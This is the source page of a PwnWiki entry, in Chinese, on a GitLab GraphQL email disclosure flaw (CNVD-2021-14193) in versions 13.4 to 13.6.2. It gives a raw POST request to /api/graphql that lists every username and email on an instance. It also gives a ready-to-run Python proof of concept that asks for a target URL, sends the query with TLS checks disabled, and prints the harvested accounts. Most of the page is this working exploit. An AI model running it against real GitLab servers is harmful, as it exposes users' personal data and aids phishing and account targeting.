View source for GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193/zh-cn

From PwnWiki

← GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193/zh-cn

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
This page cannot be updated manually. This page is a translation of the page GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193 and the translation can be updated using the translation tool.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages   />

==影响版本==

GitLab 13.4 - 13.6.2

==漏洞利用==
请求URL:
<pre>
http://xxx.xxx.xxx.xxx/-//graphql-explorer
</pre>

Gitlab本身不允许获取账号邮箱信息，这里通过调用Graphql用户名查询造成了邮箱泄露漏洞

<div lang="chinese" dir="ltr" class="mw-content-ltr">
查看完報告後發現漏洞利用需要有賬號用戶名，在不知道的情況下無法獲取郵箱，在Graphql官網查看得知可以通過另一個構造的語句一次性返回所有的用戶名和郵箱
</div>
<div lang="chinese" dir="ltr" class="mw-content-ltr">
發包調用了<code>/api/graphql</code>接口發送數據
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
完整數據包為:
</div>
<pre>
POST /api/graphql HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 212
Content-Type: application/json


{"query":"{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }","variables":null,"operationName":null}
</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
成功返回數據，造成 Gitlab的用戶郵箱信息洩露。
</div>


==POC==
<pre>
import requests
import sys
import random
import re
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+--------------WgpSec--Team----------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: GitLab 13.4 - 13.6.2                                     \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/api/graphql"
    user_number = 0
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/json",
    }
    try:
        data = """
        {"query":"{\\nusers {\\nedges {\\n  node {\\n    username\\n    email\\n    avatarUrl\\n    status {\\n      emoji\\n      message\\n      messageHtml\\n     }\\n    }\\n   }\\n  }\\n }","variables":null,"operationName":null}
        """
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5)
        if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200:
            print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url))
            for i in range(0,999):
                try:
                    username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"]
                    email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"]
                    user_number = user_number + 1
                    print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email))
                except:
                    print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number))
                    sys.exit(0)
        else:
            print("\033[31m[x] 不存在漏洞 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)
</pre>


<div lang="chinese" dir="ltr" class="mw-content-ltr">
==參考==
</div>
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw

https://gitlab.com/gitlab-org/gitlab/-/issues/244275

Return to GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193/zh-cn.

Retrieved from "https://pwnwiki.com/index.php?title=GitLab_Graphql郵箱信息洩露漏洞_CNVD-2021-14193/zh-cn"

Anonymous

Search

View source for GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193/zh-cn

Namespaces

More

Page actions

Navigation

Navigation

Community

PwnWiki.org

Wiki tools

Wiki tools

Anonymous

Search

View source for GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193/zh-cn

Navigation

Wiki tools

Page tools